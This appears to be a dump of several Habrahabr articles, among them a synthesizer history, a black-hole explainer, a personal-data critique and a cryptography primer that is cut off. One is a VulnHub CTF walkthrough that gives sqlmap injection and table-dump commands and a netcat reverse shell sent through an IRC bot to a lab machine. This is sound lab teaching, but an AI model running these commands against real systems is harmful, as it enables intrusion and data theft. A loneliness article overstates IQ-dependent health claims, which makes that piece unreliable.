Build/Configure/Default, \ --with-asterisk=$(STAGING_DIR)/usr/include/asterisk-11/include \ $(MAKE_ARGS) \ ) endef define Build/Compile mkdir -p $(PKG_INSTALL_DIR)/usr/lib/asterisk/modules $(MAKE) -C "$(PKG_BUILD_DIR)" $(MAKE_ARGS) all install endef define Package/asterisk11-chan-dongle/conffiles /etc/asterisk/dongle.conf endef define Package/asterisk11-chan-dongle/install $(INSTALL_DIR) $(1)/etc/asterisk $(INSTALL_DATA) $(PKG_BUILD_DIR)/etc/dongle.conf $(1)/etc/asterisk/ $(INSTALL_DIR) $(1)/usr/lib/asterisk/modules $(INSTALL_BIN) $(PKG_INSTALL_DIR)/usr/lib/asterisk/modules/chan_dongle.so $(1)/usr/lib/asterisk/modules/ endef $(eval $(call BuildPackage,asterisk11-chan-dongle))
https://habrahabr.ru/post/318368/
habrahabr
VulnHub: Разбор DC416 Dick Dastardly
['ctf', 'defcon', 'information security', 'vulnerability']
Команда VulnHub подготовила целую серию квестов, с конференции DefCon Toronto's, скачать и опробовать которые вы можете по ссылке. А в этой статье будет разбор DC416 Dick...
Команда VulnHub подготовила целую серию квестов, с конференции DefCon Toronto's , скачать и опробовать которые вы можете по ссылке . А в этой статье будет разбор DC416 Dick Dastardly Начнём Nmap , кроме портов 22 и 80 больше ничего не выдал, поэтому переходим к поиску скрытых директорий: $ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403 Видим тут интересный редирект на index.php . Посмотрим что там: Запускаем sqlmap : $ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 6638 HTTP(s) requests: — Parameter: name (POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: name=asd'||(SELECT 'Uknw' FROM DUAL WHERE 1538=1538 AND SLEEP(5))||'&msg=asd — [00:52:02] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-end DBMS: MySQL >= 5.0.12 Инъекция есть, но раскрутить sqlmap её не смог. Переходим ко второй форме: $ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables Видим сообщение, и корректируем параметры sqlmap 'а: [13:17:56] [INFO] POST parameter 'issue' appears to be 'MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string=«an») После повторного запуска, sqlmap раскрутил инъекцию. И отобразил список таблиц. Дампим таблицу admins $ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump Нашли пароль в открытом виде и логин. Авторизуемся: Попадаем в web админку IRC бота. Тут можно изменить владельца бота. Впишу туда логин и пароль, которые удалось вытянуть из БД. Далее естественно нажимаем добавить свой IP в белый лист, и активировать бота. Повторно запустим nmap : Коннектимся на запущенный IRC сервер, видим приветствие: Посмотрим список каналов: /list Нахоим там канал #vulnhub и подключаемся к нему: /join #vulnhub Я использовал XChat, справа в списке пользователей на канале, можно увидеть бота, которого мы запустили: vulnhub-bot . Начнём с ним диалог: Флаг найден, но это второй флаг… Где-то пропустили первый. Запускаем nikto и находим первый флаг: $ sudo nikto -host http://192.168.1.68 -C all + Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f} Имея шелл через IRC открываем себе полноценную консоль: $ netcat -lvp 9999 Боту отправляем команду: Unix shell netcat -e /bin/sh 192.168.1.124 9999 Посмотрев список процессов, я нашёл один из них, запущенный от root, крайне необычным: ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2 Хм это интересно, запустив WireShark в ICMP пакетах находим flag0: flag0{the_quieter_you_become_the_more_you_are_able_to_hear} Остался последний. Посмотрим какие привилегии доступны текущему пользователю: sudo -l Matching Defaults entries for rasta on DickDastardly: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User rasta may run the following commands on DickDastardly: (vulnhub) NOPASSWD: /usr/bin/python /usr/local/sbin/util.py Видимо, это не просто так: sudo -u vulnhub python /usr/local/sbin/util.py После запуска получаем такой интерактивный вывод: Не так много функций доступно, осмотревшись, я нашёл последний флаг: Точнее место где он лежит. Я попробовал вставить свою команду, и при выборе листинга директорий, это получилось: Отлично, все флаги собраны, пусть и не в правильном порядке!
https://habrahabr.ru/post/318372/
habrahabr
Музыкальный Леонардо советского военпрома: от артиллерийских систем до первого в мире студийного синтезатора
['синтезаторы', 'звук', 'физика', 'изобретения', 'ссср', 'старое железо', 'кино', 'аудио']
В наших материалах мы уже касались уникального аналогового синтезатора АНС и его изобретателя Евгения Мурзина. В связи с революционными принципами созданного Мурзиным устройства, предвосхитившего...
В наших материалах мы уже касались уникального аналогового синтезатора АНС и его изобретателя Евгения Мурзина. В связи с революционными принципами созданного Мурзиным устройства, предвосхитившего появление музыкальных редакторов и всех студийных синтезаторов, а также неоцененностью вклада советских инженеров в разработку синтезаторов я решил посвятить его создателю отдельную статью. 70 лет, которые просуществовал СССР — сложный и противоречивый период, который, между тем, богат удивительными историями изобретений и открытий. В акустике и музыке таких изобретений было не меньше, чем в тяжелой промышленности и военпроме, хотя известны последние значительно меньше. Так или иначе, я глубоко убежден, что неоднозначное отношение к советскому периоду в истории нашей страны не должно умалять значение изобретений советских инженеров. В этом материале история талантливого военного инженера, который вопреки огромному количеству обстоятельств, создал первый в мире студийный музыкальный синтезатор. Этот пост о человеке, который ради своего любимого изобретения отказался от генеральских погон и связанных с ними благ. В каком-то смысле это сжатое жизнеописание посвящено исчезающему типу людей, которые в суровой советской реальности умудрялись создавать уникальную аппаратуру, открывать новые горизонты, были способны обходить бюрократические, идеологические и иные препятствия. Сегодня любая статья об истории синтезаторов не обходится без упоминания таких имён как Роберт Муг, Рэй Курцвейл, Милтон Байрон Бэббитт, при этом Евгений Мурзин не редко остается забытым или упоминается лишь вскользь. Именно поэтому вторую статью цикла об истории синтезаторов мы посвящаем этому человеку. Начало пути «самарского самородка» Евгений Мурзин родился в 1914-м году в Самаре. После окончания средней школы амбициозный сын ткачихи поступает в Самарский строительный техникум, который с отличием заканчивает в 1933 году. Уже в этом молодом возрасте Мурзин становится меломаном и проявляет большой интерес к классической музыке. Пытливый ум отличника Самарского техникума требует большего, чем среднее специальное образование и в 1933 Мурзин поступает в Московский институт инженеров коммунального строительства. Закончив обучение с красным дипломом в 1938-м, Мурзин продолжает обучение в аспирантуре института. По свидетельствам дочери Мурзина, уже в конце 30-х годов у изобретателя появляется идея создания синтезатора. В 1936-м году меломан Мурзин знакомится с произведениями Александра Николаевича Скрябина, а уже в 1938-м году появляется проект синтезатора, названого АНС, в честь великого композитора. Закончив аспирантуру в 1941-м, Мурзин со своим проектом обращается в Московскую консерваторию. Идея молодого изобретателя впечатляет руководство консерватории, но в связи с её ресурсоёмкостью создание прототипа синтезатора не получает поддержки. В отличие от многих изобретателей, Мурзин, в силу пролетарского происхождения, и, вероятно, молодости, избежал попадания в мясорубку репрессий. В отличие от, например, Термена, изобретателю не пришлось отведать лагерной баланды и трудиться в стесненных условиях советских шарашек. Ещё одной интересной особенностью является то, что сам Мурзин на момент создания проекта синтезатора не был радиоинженером, не имел ни звукотехнического, ни музыкального образования. Военный гений с мечтами о перспективах электронной музыки Возможно, энергичный инженер смог бы добиться одобрения своей разработки ещё в 1941-м, но началась Великая отечественная война, которая надолго задержала реализацию революционной идеи Евгения Мурзина. На фронте инженер был с 1941-го года, служил в артиллерии. Как человек одарённый и разносторонний, инженер применил инженерные знания для разработки проекта электромеханической системы управления артиллерийским огнем, после чего отослал проект изобретения командованию. Оценив инновацию Мурзина, командование отзывает талантливого инженера с фронта и привлекает к разработке военной техники в НИИ-5 в должности старшего техника-лейтенанта. По словам друга Мурзина, композитора Эдуарда Артемьева, изобретатель рассказывал, что во время войны ему доводилось анализировать особенности ведения воздушного боя и приёмы немецких лётчиков. В результате этого исследования он смог разработать эффективные тактические контрмеры для зенитных батарей и советских авиаторов, учитывавшие шаблонное, типичное маневрирование немецких самолётов при проведении атак. За время войны инженер разработал несколько модификаций приборов управления зенитным огнём, руководил их испытаниями и запуском в серийное производство. В 1945 году в Московском государственном техническом университете имени Н.Э. Баумана Мурзин защищает кандидатскую диссертацию по специальности военное приборостроение. Практически все послевоенные годы инженер активно занимается разработкой аппаратуры звукометрической разведки наземной артиллерии, приборных методов наведения истребителей-перехватчиков на бомбардировщики противника. За что, по ряду сведений, в 1951-м году удостаивается закрытой сталинской премии. На протяжении тяжелых 40-х годов Евгений находил время для усовершенствования проекта своего синтезатора . На создание прототипа времени естественно не оставалось. Революционный синтезатор, спаянный в коммуналке Разрабатывая артиллерийские системы, Мурзин становится достаточно влиятельной фигурой, что позволяет ему находить ресурсы необходимые для разработки синтезатора. Существует мнение, что первый прототип АНС разрабатывался в самом НИИ-5, однако рассказы родственников и друзей инженера опровергают такие предположения. По словам всех, кто был знаком с инженером, прототип синтезатора АНС собирался в комнате коммунальной квартире, в которой проживал Евгений Мурзин. Ему активно помогали паять жена и дочь, а также гости, беседы с которыми не редко проходили в канифольной дымке. Коллеги изобретателя по военному НИИ иронично называли АНС балалайкой, но понимая увлеченность товарища странным для того времени хобби, помогали доставать дефицитные радиоэлементы. Высокая по советским меркам зарплата Мурзина (который в 50-х дослужился до звания полковника) значительно облегчала работу над прототипом инструмента. Понимая ценность военных разработок Мурзина, руководство НИИ закрывало глаза на не совсем обычное для военного инженера увлечение, которое он сам считал делом своей жизни. Создавая рабочий прототип изобретения, Мурзин использовал собственные средства, а также помощь друзей, которые материально поддерживали изобретателя в тех случаях, когда на приобретение необходимых материалов, деталей и элементов не хватало его собственных средств. Короткий триумф и реванш советской действительности К 1958-му году Евгению Мурзину удалось закончить первый прототип АНС. Даже первый кустарный образец синтезатора обладал невиданными для того времени характеристиками: 576 чистых тонов, перекрывающих диапазон 42-10800гц., 8 октав 72-х ступенная темперация 4 оптических диска, каждый диск — 144 дорожки (2 октавы) диаметры 120-30мм, ширина 0,31мм скорости вращения: 12, 3, 3/4, 3/16 об/сек 2 магнитофона авторской конструкции для записи воспроизводимого звука мощный усилитель, в оконечнике которого использовано более 70 ламп Кроме того синтезатор представлял собой первый в мире многоголосный инструмент такого типа и реализовывал не имеющий аналогов в мире фотооптический принцип воспроизведения. Подробно о принципах действия синтезатора АНС мы писали в этой статье . Готовый прототип поразил композиторов и ответственных товарищей из министерства культуры СССР. В качестве демонстрации технического превосходства Страны Советов, второй прототип устройства с улучшенными характеристиками, созданный уже при активной поддержке комитета совмина СССР по радиоэлектронике, отправился на технические выставки Лондон и Париж в 1961 году. Композиторы мгновенно почувствовали революционность подхода к созданию музыки, синтезатор позволял полностью исключить исполнителя из процесса её создания, и рисовать звуковые полотна на пластинах синтезатора так, как это необходимо автору. Многие видные композиторы того времени стали соратниками Мурзина в деле совершенствования его изобретения, например Эдуард Артемьев, Николай Никольский, Петр Мещанинов, Станислав Крейчи. Артемьев описывал эти события так: «После консерватории мне довелось познакомиться с Евгением Мурзиным и его синтезатором АНС. Ошеломляющее впечатление. Мир, которого я раньше не слышал… Я понял самоценность звука, его способность вмещать в себя макромир и микромир». Пользуясь поддержкой, после появления промышленного образца АНС, под руководством Мурзина создается «центральная студия электронной музыки». Известен документ, составленный в Союзе композиторов, по поводу синтезатора и инициативы Мурзина на имя Министра культуры СССР Фурцевой, вот его текст: Многоуважаемая Екатерина Алексеевна! Государственный комитет Совета Министров СССР по радиоэлектронике закончил в 1961 г. разработку промышленного образца электронного музыкального инструмента — АНС. (ѕ) АНС в руках композитора является средством производства музыки. (ѕ) Для обобщения опыта использования АНСов при Министерстве культуры СССР должна быть создана центральная студия электронной музыки Первый секретарь Союза композиторов СССР Т. Хренников Первый секретарь Союза композиторов РСФСР Д. Шостакович Интересно, что, именно на момент создания лаборатории, в 1967-м году, Мурзин, в качестве главного инженера и автора основных принципов управления активными средствами ПВО, успешно завершает масштабный проект, который сулит ему при продолжении военной карьеры (новую должность и звание генерала). Несмотря на радужные перспективы карьерного роста, Мурзин уходит в запас и выбирает свой АНС. кадр из фильма А. Тарковского «Зеркало» Особое место музыка, созданная на АНС, занимает в советском кино. С синтезатором работают уже названные композиторы: Артемьев, Никольский, Мещанинов, Крейчи, к ним присоединяются Губайдулина, Немтин, Шнитке и мн. др. В советском кино есть множество фильмов, известных эпизодов и фрагментов, где музыка или звуковые эффекты созданы при помощи АНС, например: «Бриллиантовая рука» — загипсованная лапа гоняется за Гешей (Мироновым), а потом хватает его за нос. Когда в «Солярисе» давящим звуковым фоном идет тяжелое, переливающееся гудение — океан тревожится, нервы взвинчены. Когда в «Приходите завтра» ошалевшая от Москвы Фрося Бурлакова падает в обморок у трех вокзалов. Когда в «Освобождении» травится Гитлер. Саундреки к «Сибириаде» и «Зеркалу» почти полностью создан на АНС (Этот список можно продолжать долго) В 1990-м году был издан сборник произведений композиторов Альфреда Шнитке, Эдисона Денисов, Софьи Губайдулиной, Эдуарда Артемьева и Олега Булошкина, созданных в 1971-м году на АНС. Интересен ещё один удивительный факт, связанный с изобретателем. Студию Мурзина планировали разместить в доме-музее Скрябина, но помещения, где планировали это сделать занимали 10 комнат коммунальной квартиры. Усилиями Евгения Мурзина, подключившего свои военные и партийные связи, семьи, жившие там, были расселены по 10 отдельным квартирам, что казалось почти не возможным для 1967-го года. В 1970-м году, после продолжительной болезни, создатель первого в мире студийного синтезатора и первого музыкального редактора — АНС, Евгений Мурзин умер. Студию возглавил его заместитель Малков. В последующие годы студия, поначалу лишь формально относившаяся к фирме грамзаписи «Мелодия», постепенно перешла под полный контроль этой организации. По утверждению композиторов, работавших там, потеря самостоятельности крайне негативно отразилось на творческой атмосфере. Артемьев рассказывает об этом так: После смерти Мурзина студию возглавил его заместитель Малков — он обладал замечательными организаторскими способностями, но не умел ладить с людьми и не был гибок. Студия утратила свою самостоятельность, ее сделали частью фирмы «Мелодия», и постепенно она потеряла все. Закономерно, что при отсутствии инициативы АНС так и не был запущен в серию. Сегодня существует несколько компьютерных эмуляторов АНС, например virtual ANS: Евгений Александрович Мурзин был похоронен на Введенском кладбище, на могиле находится скромный гранитный обелиск. Несмотря на значительный вклад в развитие революционных технических подходов, идеи свободы творчества и создание синтезаторов, имя Евгения Мурзина редко вспоминают на родине и практически не знают за рубежом.
https://geektimes.ru/company/pult/blog/284018/
habrahabr
Office 2 — поиск подхода
['office']
Доброго времени чтения, уважаемые пользователи Хабра! По корпоративным соображениям моим пользователям приходится использовать старые версии MS Office. Как программисту, приходится сталкиваться с...
Доброго времени чтения, уважаемые пользователи Хабра! По корпоративным соображениям моим пользователям приходится использовать старые версии MS Office. Как программисту, приходится сталкиваться с шумом из классов пакета. В связи с воспоминаниями о FrameWorks III, системе Мастер, направлением развития HTML — появился вариант подхода к более простой для программирования офисной среде. Любящие мои посты читатели опять заметят отсутствие исходного кода. Код пишется, и есть примеры моих программ, которые «уходили в народ» и которые я с удивлением узнавал на других предприятиях с припиской «музыка народная»:). Итак, предложения по пакету: Основным разделом является документ, который оформляется в соответствии с настройками для печати и нумерацией листов. Вместо содержания разделов для оформления предлагается использовать вложенные поддокументы. Содержимое разделов документа храниться в дополнительных листах документа. Дополнительные листы отображаются в ярлыках закладок, где первый лист является итоговым документом, а следующие листы — разделами. Разделы могут содержать вложенные листы, иерархия отображается, как отдельные ярлыки в нижней части включающего листа. Ниже представлена иерархия ярлыков листов для раздела 2.1.2 . Листу 0 соответствует основной документ, которому можно поставить в соответствие подшивку ранних версий MS Office. \ 2.1.0 \ 2.1.1 \ 2.1.2 / 2.1.3 / \ 2.0 \ 2.1 / 2.2 / \ 0 \ 1 \ 2 / 3 / 4 / На уровне корневых листов разделов задаются параметры ориентации листа и колонтитулы, на уровне корневого раздела 0 — поля для документа. За исключением верхнего и нижнего индексов, остальные параметры абзацев и шрифтов задаются через каскадные стили. Предлагаемые встроенные типы: namespace PL2.Office.Windows.Mode.Common { /// <summary> /// список классов для вывода окон /// </summary> public enum Mode_enum { me_none, // копия me_printable, // печатный вариант me_document, // подшивка me_HTML, // умная страница me_RTF, // умный текст me_text, // текст me_value, // коэффициенты с единицами измерения me_formula, // вычисляемые формулы me_table, // вычисляемые таблицы me_picture, // битовый рисунок me_data, // база данных me_report, // отчеты по таблицам базы me_script, // программный код на PL2 Script me_graph, // график me_diagram, // диаграмма из сегментов me_model // диаграмма модели предметной области Изменяются разделы последовательным углублением в структуру документа. Корованы грабить можно в качестве рисунков :) Какие замечания появляются при данном описании платформы? Спасибо за интерес к теме.
https://habrahabr.ru/post/318370/
habrahabr
Одиночество убивает людей со средним и низким IQ
['одиночество. социальная изоляция', 'стресс', 'IQ', 'общение']
Фото: Max Pixel Многие современные люди стремятся поскорее уехать от родителей и жить отдельно. Но мало кто оценивает риски от здоровья, которыми грозит социальная изоляция. С каждым годом...
Фото: Max Pixel Многие современные люди стремятся поскорее уехать от родителей и жить отдельно. Но мало кто оценивает риски от здоровья, которыми грозит социальная изоляция. С каждым годом растёт количество людей, живущих в одиночестве, без партнёра и семьи. Хуже того, многие даже работают из дома, сводя к минимуму общение с другими людьми. За последние годы проведено много научных исследований, которые показывают реальную опасность такого образа жизни. По американской статистике, за последние 30 лет количество людей старше 45 лет, живущих в одиночестве, выросло почти в два раза : с 20% до 35% респондентов. Например, в выборке 45-49 лет одиноких людей и вовсе 43%. Среди молодёжи как будто наблюдается обратная тенденция: всё больше молодых парней и девушек продолжают жить с родителями. Это может быть связано с экономическими трудностями и ростом безработицы среди молодёжи. Некоторые современные парни и девушки не видят причины, чтобы трудиться каждый день, если и так можно тусоваться и играть в компьютерные игры, оставаясь с родителями и иногда подрабатывая. Как ни странно, такое «иждивенческое» поведение может спасти и их жизни, и жизни их родителей, у которых гораздо выше риск остаться в одиночестве. С другой стороны, такой образ жизни уменьшает вероятность найти партнёра, что опять же повышает риск остаться в одиночестве в зрелом возрасте и в старости. Для одиноких людей риск смертности возрастает примерно настолько же, насколько от курения табака — самого убийственного из «легальных наркотиков», который уносит сотни тысяч жизней ежегодно. По сравнению с ожирением (лишним весом) одиночество представляет вдвое больший риск для жизни. Другими словами, страдающий ожирением женатый мужчина почти наверняка проживёт дольше, чем нормальный спортивный, но холостой мужчина. Социальная изоляция сразу ухудшает состояние здоровья. Как и понижение социального статуса, одиночество сразу ухудшает состояние иммунной системы и повышает риск воспалений. Это прямой путь к артриту, диабету типа II и сердечно-сосудистым заболеваниям . Риск инсульта возрастает на 32% . Для одиноких пожилых людей риск преждевременной смерти возрастает в два раза . Жизнь в одиночестве ухудшает сон , ускоряет когнитивную деградацию . Судя по всему, механизм ухудшения здоровья и повышения смертности у одиноких людей точно такой же, как и у людей с низким социальным статусом. Причина — в увеличении хронического стресса (см. исследование уровня гормонов стресса у одиноких людей ). Другими словами, если вы испытываете удовольствие от одинокой жизни, то такого риска нет, и вреда для здоровья не должно быть никакого. Ключевым фактором является именно уровень стресса. Если стресс повышается в семейной жизни с детьми, то уже жена и дети станут фактором риска, а не одиночество. Человек — социальное существо, поэтому для большинства людей вполне естественно жить с партнёром и активно общаться с сородичами. Если человек оказывается в одиночестве и социальной изоляции (по причине низкого положения в обществе или по другим причинам) — естественно, это должно привести к повышению стресса. Исследования обезьян показали, что таких «опущенных» обезьян обижают сородичи, к ним чаще домогаются более высокие по статусу самцы и т.д. В современном обществе источники стресса не такие, как в группах обезьян, но основные правила социального поведения мало изменились. Как и обезьяны, люди по-прежнему предпочитают активно общаться с «племенем» и повышать своё положение в группе. Оставшиеся без партнёра люди занимаются самоедством и говорят себе : «Если бы я был лучшим человеком, то не был бы одинок». Из-за такого отношения увеличивается уровень стресса и возникают риски здоровья. Вероятно, подобное отношение к одиночеству является общепринятым. Но если поставить целью избавиться от стрессов и рисков для здоровья, то нужно тренировать обратное отношение. Вероятно, говорить себе: «Только успешные люди могут счастливо жить в одиночестве» или что-то подобное. Конечно, при этом нужно искренне верить в сказанное и гордиться одиночеством. В конце концов, учёные доказали, что людям с высоким IQ не нужно много друзей для счастья . Чем выше интеллект человека, тем меньшее влияние на уровень счастья оказывает количество друзей и социальных связей. Более того, наблюдается даже отрицательная корреляция. То есть исключительно интеллектуально развитому человеку — чем меньше социального общения, тем лучше для него. Исследование показало, что умные люди реально чувствуют себя хуже, если много общаются с родственниками и друзьями. Казалось бы, интернет и социальные сети должны уменьшать чувство одиночества, но научные исследования показывают, что это не так. Ситуация скорее обратная. Исследование пользователей Facebook показало, что количество времени, проведённого в социальной сети, прямо коррелирует с ухудшением самочувствия и ощущением одиночества. Чем больше человек проводит в социальных сетях — тем более одиноким он себя чувствует, и наоборот. Недавние исследования показывают реальный положительный эффект на самочувствие, если отказаться от социальных сетей на некоторое время. Хотя таких опытов ещё не проводили, но можно предположить, что полный долгосрочный отказ от социальных сетей может оказать более устойчивый долговременный эффект в улучшении самочувствия. То же самое может происходить в большом обществе малознакомых людей. В такой большой толпе человек всё равно будет чувствовать себя в социальной изоляции, точно как в социальной сети. Даже в густо населённых городах люди ощущают себя хуже, чем в менее населённых. То есть количество друзей и знакомых не так важно, как «качество» общения. Учитывая все проведённые исследования, можно придти к выводу, что одиночество действительно убивает людей (как пишут на пачках сигарет «Курение убивает»). Но в отличие от курения, здесь эффект избирателен по интеллекту. То есть социальная изоляция более вредна для людей с обычным и низким IQ. Специалисты советуют таким людям специально тренировать общение, в том числе с соседями. За своим социальным общением следует следить, как за артериальным давлением. Проверять ежедневно, вести здоровый образ жизни и делать упражнения.
https://geektimes.ru/post/284022/
habrahabr
Спросите Итана: почему из чёрных дыр получаются такие яркие квазары?
['спросите итана', 'квазары', 'блазары', 'чёрные дыры', 'радиоволны', 'радиоизлучение']
Чёрные дыры – загадка Вселенной: регионы пространства, в которых очень большая масса концентрируется в таких небольших объёмах, что ничто не может убежать из её гравитационного притяжения, даже...
Чёрные дыры – загадка Вселенной: регионы пространства, в которых очень большая масса концентрируется в таких небольших объёмах, что ничто не может убежать из её гравитационного притяжения, даже свет. Неважно, какую энергию или скорость наберёт объект внутри горизонта событий ЧД, он никогда не сможет вырваться и повлиять на Вселенную снаружи. Именно это и делает вопрос нашего читателя интересным: Как это возможно, что сверхмассивные чёрные дыры становятся квазарами, когда «пожирают» слишком много и слишком быстро? Можно было бы ожидать, что всю материю просто засосёт внутрь. Это одно из самых странных явлений, которые можно представить: ЧД, объект, притяжения которого ничто не может избежать, порождает класс ярчайших из всех наблюдаемых объектов. Квазары – очень интересные объекты, настолько интересные, что когда мы впервые увидели их, мы понятия не имели, что они из себя представляют. С развитием радиоастрономии мы начали открывать эти невероятно яркие источники радиоизлучения. Но посмотрев на них в других диапазонах – видимом, рентгеновском, ультрафиолетовом, инфракрасном, микроволновом – мы ничего не увидели. Почему-то это были источники именно радиоволн, точечные, концентрированные источники, не испускавшие никаких других сигналов. И мы назвали их квазизвёздными радиоисточниками (Quasi-Stellar Radio Sources, QSRS), или квазарами. Со временем мы начали находить разные интересные свойства этих объектов: • Почти все они расположены очень далеко, на огромных красных смещениях, превосходящих другие ограничения нашего поля зрения. • Яркость в радиодиапазоне показывала, что там происходит что-то энергетически более мощное, чем всё ранее виденное нами. • Объекты выглядели для нас по-разному в зависимости от того, как они были ориентированы по отношению к нам. В результате наши инструменты наблюдений улучшились настолько, что мы начали открывать схожие черты у квазаров и других классов объектов: активных ядер галактик, блазаров и магнетаров. Мы начали понимать, что в основе этих объектов лежит нечто общее: сверхмассивная чёрная дыра в центре галактики каким-то образом питается материей и испускает огромное количество материала и радиоизлучения в космос. В итоге наши наблюдения продвинулись настолько, что мы смогли определить домашние галактики этих квазаров, даже расположенные в миллиардах световых лет от нас. Но как это происходит? Как эти сверхмассивные чёрные дыры испускают такое количество энергии? Разве не должны они поглощать, засасывать всю материю и энергию? Ведь это та черта ЧД, которую мы все знаем: они всё засасывают, и спасения от них нет. Хотя убежать из них действительно нельзя, насколько на самом деле правда то, что они «засасывают всё»? Это неправда. Иллюстрации и визуализации, включая видео от НАСА выше – все некорректные. На самом деле, находиться вблизи горизонта событий рядом ЧД, это то же самое, что находиться вблизи любого другого источника гравитации. Если бы Солнце внезапно заменили на ЧД той же массы, 1,99 * 10 30 , Земля и все остальные планеты продолжали бы передвигаться по своим орбитам точно так же, как и сейчас. Причина, по которой квазары так себя ведут, состоит в возможности очень больших масс разгонять материю, находящуюся неподалёку, до огромных скоростей. Материя формирует вокруг ЧД аккреционный диск, и разгоняется там до таких скоростей, что в результате излучает энергию на многих частотах, включая и радио. Можно видеть перпендикулярные аккреционному диску релятивистские струи, или джеты, ускоренно летящей материи, исторгаемой с релятивистскими скоростями. Источники излучения, называемые нами блазарами, ориентированы так, что один из джетов направлен на нас, а другие активные галактики ориентированы иначе. Квазары обладают такой яркостью, поскольку перевариваемая им материя разрывается на части, а затем ускоряется под воздействием непреодолимой силы гравитации. Он выделают так много энергии, поскольку частицы материи реагируют друг с другом, разогреваются, и испускают излучение. Они видимы с таких огромных расстояний, поскольку в их сердце расположены ЧД массой в сотни миллионов или даже в миллиарды солнечной, и поглощают они материю массой в миллионы солнечных. ЧД – это не пылесосы космоса. Они «бисквитные монстры» космоса, поскольку у них мимо рта пролетает полно потенциальной пищи.
https://geektimes.ru/post/284026/
habrahabr
Как будет продавать ваши персональные данные стартап, в который вложил 70м рублей ФРИИ
['персональные данные', 'ZKP', 'IDX']
В Коммерсант вышел материал об инвестиции государственным фондом ФРИИ 70 миллионов рублей в стартап IDX (Identity Exchange). Миссия стартапа — создание площадки для продажи персональной информации...
В Коммерсант вышел материал об инвестиции государственным фондом ФРИИ 70 миллионов рублей в стартап IDX (Identity Exchange). Миссия стартапа — создание площадки для продажи персональной информации о физических и юридических лицах. Разберемся в том, что предлагает IDX. Суть сервиса в том, что компания-партнер IDX, которой пользователь однажды уже передал свои данные, может верифицировать их достоверность по запросу другой организации. При этом IDX не передает между партнерами сами данные, а производит сверку цифровых подписей и хэшей зашифрованных сведений. Клиент проходит процедуру идентификации, например, при личном визите в офис. Компания поставщик данных для IDX (далее «компания А») продает информацию о пройденной идентификации другим участникам рынка. «IDX устроен как шлюз, там нет персональных данных, значит, нет и рисков их утечки»,— подтверждает директор по эксплуатации «Акадо Телеком» Михаил Медриш. «Мы можем участвовать в проекте как поставщик информации о достоверности данных и сами заинтересованы в услугах, поскольку наши потенциальные клиенты могут быть уже идентифицированы в других сетях»,— объясняет он смысл сотрудничества с IDX. Акадо является поставщиком информации для IDX о своих клиентах, компанией А. Риск утечки данных при использовании системы сведен к нулю, утверждает представитель ФРИИ. В основе платформы лежит математический метод «доказательства с нулевым разглашением» (Zero-knowledge proof), использование которого позволяет убедиться в достоверности полученной информации без ее расшифровки, пояснил он. Рассмотрим процесс продажи компанией А персональных данных клиента с использованием шлюза IDX. Предположим структуру профиля пользователя: { "passport":12345, "first_name": "Igor", "last_name": "Barinov", "dob_year": 1970, "dob_month":01, "dob_day":01, "active": true } Компания Б, запрашивающая информацию, формирует группы атрибутов по интересующему клиенту, хеширует их и отправляет через шлюз IDX всем участникам, продающим персональные данные. Пример запрашиваемой информации: hash(passport+first_name+last_name+dob_year+dob_month+dob_day). Подставим значения из структуры: sha2(12345IgorBarinov19700101) Получаем хеш: f3d34b680defecbc9e1916faed596aedde723289c21b3c671952239f81437661 Компания А, обладающая сведениями о клиенте, подтверждает наличие записи и возвращает в ответе метаданные, которые с ФИО и паспортом будут являться частью персональных данных, но в случае ZKP (Zero Knowledge Proofs) — нет. Например, {"request":"f3d34b680defecbc9e1916faed596aedde723289c21b3c671952239f81437661", "dead":false, "phone_number":"5555555555" } и подписывает структуру своим приватным ключом. Шлюз IDX переправляет ответ продавца персональных данных покупателю персональных данных и учитывает факт сделки. Покупатель данных проверяет публичным ключом целостность сообщения и адресата. Биллинг IDX списывает с баланса покупателя персональных данных оплату продавцу персональных данных и комиссию. Краткие выводы: — используя скрытие данные в хешированных структурах, стартап IDX организует площадку по торговле персональными данными. — государственный фонд финансирует компанию, организующую такую площадку — зная персональные данные пользователя, третье лицо может легально получить данные и метаданные по всем используемым пользователем сервисам, чьи провайдеры продают персональную информацию через шлюз IDX Disclaimer: автор не имеет отношения к компании IDX, Акадо, ФРИИ и соображения о принципах работы основаны на OSINT (открытых данных).
https://habrahabr.ru/post/318362/
habrahabr
60 криптоалгоритмов. Часть первая: Бесключевые КА
['информационная безопасность', 'алгоритмы шифрования', 'критография']
На Хабрахабре уже порядка 1000 статей так или иначе связанные с шифрованием, но иногда возникает ситуация, когда быстро нужна информация по тому или иному алгоритму. Типизация КА Итак,...
На Хабрахабре уже порядка 1000 статей так или иначе связанные с шифрованием, но иногда возникает ситуация, когда быстро нужна информация по тому или иному алгоритму. Типизация КА Итак, представляю вам статью, в которой собраны, известные и не очень, криптографические алгоритмы. Оговоримся, что все статьи из данной серии не претендует на новаторство, или уникальность. Скорее краткий справочник, кто-то даже назовет это прикроватным чтивом. Существуют различные классификации криптоалгоритмов, например, такая: Для удобства я буду использовать деление на группы по количеству ключей: Бесключевые КА — не используют в вычислениях никаких ключей; Одноключевые КА — работают с одним ключевым параметром (секретным ключом); Двухключевые КА — на различных стадиях работы в них применяются два ключевых параметра: секретный и открытый ключи. Терминология: Открытый (исходный) текст — данные (не обязательно текстовые), передаваемые без использования криптографии. Шифротекст, шифрованный (закрытый) текст — данные, полученные после применения криптосистемы (обычно — с некоторым указанным ключом). Ключ — параметр шифра, определяющий выбор конкретного преобразования данного текста. В современных 